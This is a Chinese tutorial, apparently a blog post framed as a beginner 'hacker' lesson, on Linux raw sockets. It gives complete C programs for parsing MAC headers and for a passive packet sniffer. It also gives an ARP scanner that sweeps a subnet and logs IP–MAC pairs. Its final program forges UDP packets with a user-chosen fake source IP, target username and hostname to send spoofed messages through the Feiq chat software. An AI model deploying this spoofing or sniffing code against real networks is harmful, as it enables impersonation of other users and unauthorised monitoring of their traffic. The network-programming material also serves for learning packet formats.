网络骇客初级之原始套接字（SOCK_RAW）

网络骇客初级之原始套接字（SOCK_RAW）

本文用实际程序完成了MAC数据包分析，网络数据分析，MAC地址扫描器和飞秋欺骗

在这里我把原来的入门改成了初级，因为对于原始套接字的操作确实在普通的TCP，UDP之上

TCP和UDP确实涵盖了普通的网络应用程序，但请注意“普通”二字，要成为一名骇客的你，可不能仅仅满足于写一些普通的网络小程序，而要直接对所有数据包进行分析，还要能够发送自己组装的数据包，踏入高级网络编程的领域，编写一些奇特的网络程序（嘿嘿！）。

注意所有程序都是在LINUX系统下实现的，当然在windows下不是不行，只是头文件什么的有点区别，留给感兴趣的同学去研究吧。

以接收为例，先来分析一个链路层的MAC数据包吧

还是老套路：

头文件

#include <stdio.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <netinet/ether.h>

#include <pthread.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <arpa/inet.h>

#include <fcntl.h>

1.创建原始套接字

int sock_raw_fd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));

if(sock_raw_fd < 0)

{

perror("socket");

exit(-1);

}

2.定义接收缓冲区

unsigned char buf[1024]="";

3.储存源目的MAC地址缓冲区

unsigned char src_mac[18]="";

unsigned char dst_mac[18]="";

//从网卡直接接收数据包

int ret = recvfrom(sock_raw_fd,buf,sizeof(buf),0,NULL,NULL);

if(-1 != ret)

{

//打印数据包的源目的MAC

sprintf(dst_mac,"%02x:%02x:%02x:%02x:%02x:%02x",buf[0],buf[1],buf[2],buf[3],buf[4],buf[5]);

sprintf(src_mac,"%02x:%02x:%02x:%02x:%02x:%02x",buf[6],buf[7],buf[8],buf[9],buf[10],buf[11]);

printf("MAC:%s >> %s\n",src_mac,dst_mac);

printf("type == %02x%02x\n",buf[12],buf[13]);

}

close(sock_raw_fd);

因为在数据链路层传输的所有数据包前14个字节都是6字节目的MAC，6字节源MAC加上2字节的数据帧类型（如：IP：0800，ARP：0806，RARP：8035）

所以本程序取出接收缓冲区的前12个字节分别输出，显示源目的MAC地址

但我们能做的可不只是分析MAC地址而已，足以写一个被动网络嗅探器了

头文件

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <unistd.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <sys/ioctl.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/if_ether.h>

#include <net/if_arp.h>

#include <net/if.h>

#include <net/ethernet.h>

#include <netpacket/packet.h>

#include <netinet/ether.h>

#include <string.h>

//子函数，用于显示源目的IP地址

void showip(unsigned char *buffer)

{

struct iphdr *iph;

char sipaddr[INET_ADDRSTRLEN] = "";

char dipaddr[INET_ADDRSTRLEN] = "";

iph = (struct iphdr*)(buffer+sizeof(struct ethhdr));

inet_ntop(AF_INET,&iph->saddr,sipaddr,INET_ADDRSTRLEN);

inet_ntop(AF_INET,&iph->daddr,dipaddr,INET_ADDRSTRLEN);

printf("IP: %s >> %s\n",sipaddr,dipaddr);

}

主函数

int main(int argc, char **argv)

{

int sock, n;

unsigned char buffer[1024];

struct ethhdr *eth;

struct iphdr *iph;

struct ifreq ethreq;

char type[5]="";

uint16_t *port=NULL;

//创建原始套接字

if(0>(sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))))

{

perror("socket");

exit(1);

}

//接收数据包

while(1)

{

bzero(buffer,sizeof(buffer));

n=recvfrom(sock,buffer,1024,0,NULL,NULL);

//分析数据包类型

sprintf(type,"%02x%02x",buffer[12],buffer[13]);

//0800IP数据包

if(0 == strcmp(type,"0800"))

{

printf("============IP===============\n");

//TCP还是UDP

if(0x06 == buffer[23])

{

printf("TCP\n");

}

else if(0x11 == buffer[23])

{

printf("UDP\n");

}

//端口

port= buffer+34;

printf("Port:%d >> ",ntohs(*port));

port= buffer+36;

printf("%d\n",ntohs(*port));

//输出IP地址

showip(buffer);

}

else if(0 == strcmp(type,"0806"))

{

printf("============ARP===============\n");

showip(buffer);

}

else if(0 == strcmp(type,"8035"))

{

printf("============RARP===============\n");

}

else

{

printf("============%s===============\n",type);

}

eth = (struct ethhdr*)buffer;

//显示MAC地址

printf("MAC: %02X:%02X:%02X:%02X:%02X:%02X >> %02X:%02X:%02X:%02X:%02X:%02X \n",eth->h_source[0],eth->h_source[1],eth->h_source[2],eth->h_source[3],eth->h_source[4],eth->h_source[5],eth->h_dest[0],eth->h_dest[1],eth->h_dest[2],eth->h_dest[3],eth->h_dest[4],eth->h_dest[5]);

}

}

在这里注意IP数据包的格式，一个IP数据包的前14个字节为MAC帧头部，接上一个20字节的IP报头，端口号就在数据包的第34个字节后面，不管是UDP数据包还是TCP数据包都一样，两个字节的源端口号和两个字节的目的端口号。

所以只要按照固定的格式分析接收到的数据包就可以了

被动的嗅探器只需要接收数据，我们还可以发送数据

试试弄一个MAC地址扫描器把

头文件

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <unistd.h>

#include <fcntl.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <sys/ioctl.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/if_ether.h>

#include <net/if_arp.h>

#include <net/if.h>

#include <net/ethernet.h>

#include <netpacket/packet.h>

#include <netinet/ether.h>

#include <string.h>

#include <pthread.h>

//创建一个结构体定义套接字和文件描述符

typedef struct arg

{

int fd;

int sock_raw_fd;

}SOCK_FD;

//子线程接收数据包

void *recvarp(void *arg)

{

SOCK_FD sock_fds = *(SOCK_FD*)arg;

int sock_raw_fd = sock_fds.sock_raw_fd;

int fd = sock_fds.fd;

while(1)

{

unsigned char recv_buf[100]="";//接收缓冲区

recvfrom(sock_raw_fd,recv_buf,sizeof(recv_buf),0,NULL,NULL);

if(recv_buf[21] == 2)

{

//打印

unsigned char write_buf[20]="";

sprintf(write_buf,"%d.%d.%d.%d -- %02x:%02x:%02x:%02x:%02x:%02x\r\n",recv_buf[28],recv_buf[29],recv_buf[30],recv_buf[31],recv_buf[6],recv_buf[7],recv_buf[8],recv_buf[9],recv_buf[10],recv_buf[11]);

//写入文件

write(fd, write_buf, strlen(write_buf));

printf("%s",write_buf);

}

}

}

主函数

int main(int argc, char **argv)

{

SOCK_FD sock_fds;

int fd;

//创建一个文件用于保存接收的数据

fd = open("arplist.txt", O_CREAT|O_RDWR|O_APPEND|O_TRUNC, 0777);

//1创建套接字

int sock_raw_fd;

sock_raw_fd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ARP));

if(sock_raw_fd < 0)

{

perror("socket");

exit(-1);

}

//套接字和文件描述符赋值，作为参数传给线程

sock_fds.sock_raw_fd = sock_raw_fd;

sock_fds.fd = fd;

pthread_t pth;

pthread_create(&pth,NULL,recvarp,(void *)&sock_fds);

pthread_detach(pth);

//组装ARP请求包

unsigned char arp[42]={

//-------MAC头部---------14

0xff,0xff,0xff,0xff,0xff,0xff,//dst MAC广播包，全FF

0x00,0x0c,0x29,0xa8,0x4a,0xf0,//src MAC自己的MAC地址

0x08,0x06,//pro_type

//-------ARP包---------28

0x00,0x01,0x08,0x00,

0x06,0x04,0x00,0x01,

0x00,0x0c,0x29,0xa8,0x4a,0xf0,//src MAC

10,220,4,16,  //src IP

0x00,0x00,0x00,0x00,0x00,0x00,//DST MAC

// 10,220,4,17  //DST IP

0,0,0,0  //DST IP先写0，后面再赋值

};

//获取网卡接口地址

struct ifreq ethreq;

strncpy(ethreq.ifr_name, "eth0", IFNAMSIZ);

int ret = ioctl(sock_raw_fd, SIOCGIFINDEX, &ethreq);

if(ret == -1)

{

perror("ioctl");

close(sock_raw_fd);

exit(-1);

}

//sockaddr_ll 第三个成员赋值

struct sockaddr_ll sll;

bzero(&sll,sizeof(sll));

sll.sll_ifindex = ethreq.ifr_ifindex;

//目的IP赋值，从某一个网段开始

arp[38]=10;

arp[39]=220;

arp[40]=4;

arp[41]=0;

//sendto发送ARP请求

sendto(sock_raw_fd,arp,42,0,(struct sockaddr*)&sll,sizeof(sll));

//等待ARP应答

printf(" IP --  MAC\n");

while(1)//循环发送，每次IP地址加一

{

sendto(sock_raw_fd,arp,42,0,(struct sockaddr*)&sll,sizeof(sll));

arp[41]++;

if(arp[41] == 255)

{

break;

}

// printf("send IP:%d.%d.%d.%d\n",arp[38],arp[39],arp[40],arp[41]);

}

//关闭

close(sock_raw_fd);

close(fd);

return 0;

}

最后，我们再来写一个针对于飞秋软件的小程序吧，注意这里使用结构体对数据包进行赋值，所以要了解数据包的格式

头文件

#include<stdlib.h>

#include<stdio.h>

#include<errno.h>

#include<string.h>

#include<unistd.h>

#include<netdb.h>

#include<sys/socket.h>

#include<sys/types.h>

#include<netinet/in.h>

#include<netinet/ip.h>

#include<arpa/inet.h>

#include<linux/tcp.h>

#include<linux/udp.h>

#include <fcntl.h>

#include <sys/ioctl.h>

#include <netinet/if_ether.h>

#include <net/if_arp.h>

#include <net/if.h>

#include <net/ethernet.h>

#include <netpacket/packet.h>

#include <netinet/ether.h>

typedef unsigned char uchar;

//定义一个UDP伪头部结构体，用于UDP校验

struct falseudp

{ 

struct in_addr falseudp_src, falseudp_dst; /* source and dest address */

u_int8_t zero; /* 0 */

u_int8_t proto; /* 17 */

u_int16_t falseudp_len; /* udplen */

u_int16_t source; /* source port */

u_int16_t dest; /* dest port */

u_int16_t len; /* udp length */

u_int16_t check; /* udp checksum */

uchar msg[1024];

};

//计算校验和

unsigned short checksum(unsigned short *buf, int nword);

//主函数

int main(int argc, char**argv)

{

char username[20]="";

char hostname[20]="";

char msg_send[728]="";

uchar srcip[17]="";

uchar dstip[17]="";

printf("Fake IP:");

fflush(stdout);

fgets(srcip,sizeof(srcip)-1,stdin);

srcip[strlen(srcip)-1]='\0';

printf("Target IP:");

fflush(stdout);

fgets(dstip,sizeof(dstip)-1,stdin);

dstip[strlen(dstip)-1]='\0';

printf("Target username:");

fflush(stdout);

fgets(username,sizeof(username)-1,stdin);

username[strlen(username)-1]='\0';

printf("Target hostname:");

fflush(stdout);

fgets(hostname,sizeof(hostname)-1,stdin);

hostname[strlen(hostname)-1]='\0';

printf("send msg:");fflush(stdout);

fgets(msg_send,sizeof(msg_send)-1,stdin);

msg_send[strlen(msg_send)-1]='\0';

uchar srcMAC[6]={0xc8,0x9c,0xdc,0xb7,0x0f,0x19};

uchar dstMAC[6]={0x00,0x0c,0x29,0xa8,0x4a,0xf0};

unsigned short check_num;

//创建套接字

int sock_raw_fd;

sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));

if(sock_raw_fd < 0)

{

perror("socket");

exit(-1);

}

//获取接口地址

struct ifreq ethreq;

strncpy(ethreq.ifr_name, "eth0", IFNAMSIZ);

int ret = ioctl(sock_raw_fd, SIOCGIFINDEX, &ethreq);

if(ret == -1)

{

perror("ioctl");

close(sock_raw_fd);

exit(-1);

}

//sockaddr_ll 第三个成员赋值

struct sockaddr_ll sll;

bzero(&sll,sizeof(sll));

sll.sll_ifindex = ethreq.ifr_ifindex;

//DATA，按照飞秋的消息格式组装数据包（可用wireshark分析出来）

uchar msg[1024]="";

int len = sprintf(msg, "%d:%d:%s:%s:%d:%s", 1, 123, username, hostname, 32, msg_send);

if(0 != (len%2))//还是计算校验和，数据长度必须是偶数，如果是奇数就在后面加一个0-‘\0’

{

len++;

msg[len]='\0';

}

printf("len:%d\n",len);

//组包，先写0，后面再用结构体赋值，mac+ip+udp

// uchar buf[2048]="";

uchar buf[2048]={

//MAC 14

0x00,0x00,0x00,0x00,0x00,0x00,//dst MAC

0x00,0x00,0x00,0x00,0x00,0x00,//src MAC

0x08,0x00,//proto_type

};

//源目的IP

memcpy(buf,srcMAC,6);

memcpy(buf+6,dstMAC,6);

//结构体

struct ip *ip;

struct udphdr *udp;

int ip_len,udp_len;

//IP包

ip_len = 20+8+len;

ip=(struct ip*)(buf+14);

ip->ip_v = IPVERSION;

ip->ip_hl = 5;

ip->ip_tos = 0;

ip->ip_len = htons(ip_len);//

ip->ip_id = 0;//0

ip->ip_off = 0;

ip->ip_ttl = MAXTTL;//MAXTTL

ip->ip_p = IPPROTO_UDP;

ip->ip_sum = 0;

inet_pton(AF_INET, srcip, &(ip->ip_src));

inet_pton(AF_INET, dstip, &(ip->ip_dst));

//计算校验和

check_num = checksum((unsigned short*)ip,10);

printf("ip-check_num:%x\n",check_num);//1ca4 and e9cb

ip->ip_sum = htons(check_num);

//udp包，端口2425

udp_len = 8+len;

udp = (struct udphdr*)(buf+14+20);

udp->source = htons(2425);

udp->dest =htons(2425);

udp->len = htons(udp_len);

udp->check = 0;

//DATA

memcpy(buf+42,msg,len);

// printf("%s\n",buf+42);

//////////

//UDP校验

struct falseudp falseudp;

struct falseudp *p=NULL;

//伪头部

inet_pton(AF_INET, srcip, &(falseudp.falseudp_src));

inet_pton(AF_INET, dstip, &(falseudp.falseudp_dst));

falseudp.zero = 0;

falseudp.proto = ip->ip_p;

falseudp.falseudp_len = udp->len;

falseudp.source = udp->source;

falseudp.dest = udp->dest;

falseudp.len = udp->len;

falseudp.check = 0;

memcpy(falseudp.msg,msg,len);

// printf("falseudp.msg:%s\n",falseudp.msg);

//计算UDP校验和

p=&falseudp;

check_num = checksum((unsigned short*)p,(20+len)/2);

udp->check = htons(check_num);//1ca4 and e9cb

printf("fudp-check_num:%x\n",check_num);

//////////

//发送数据直接用sendto（）就可以了

int i=0;

while(1)

{

int ret_send = sendto(sock_raw_fd, buf, 42+len, 0, (struct sockaddr*)&sll,sizeof(sll));

// printf("ret_send:%d\n", ret_send);

i++;

if(i == 1)

{break;}

}

close(sock_raw_fd);

}

//=========================================================================

//函数:unsigned short checksum(unsigned short *buf, int nword)

//作用:用来进行TCP或者UDP的校验和的计算

//参数:

// buf:进行校验和的数据的起始地址

// nword:进行校验的数据的个数(注意本函数是2个Byte进行校验，所以nword应该为

// 实际数据个数的一半)

// UDP检验和的计算方法是：

// 1.按每16位求和得出一个32位的数；

// 2.如果这个32位的数，高16位不为0，则高16位加低16位再得到一个32位的数；

// 3.重复第2步直到高16位为0，将低16位取反，得到校验和。

//=========================================================================

unsigned short checksum(unsigned short *buf, int nword)

{

unsigned long sum;

for(sum = 0; nword > 0; nword--)

{

sum += htons(*buf);

buf++;

}

sum = (sum>>16) + (sum&0xffff);

sum += (sum>>16);

return ~sum;

}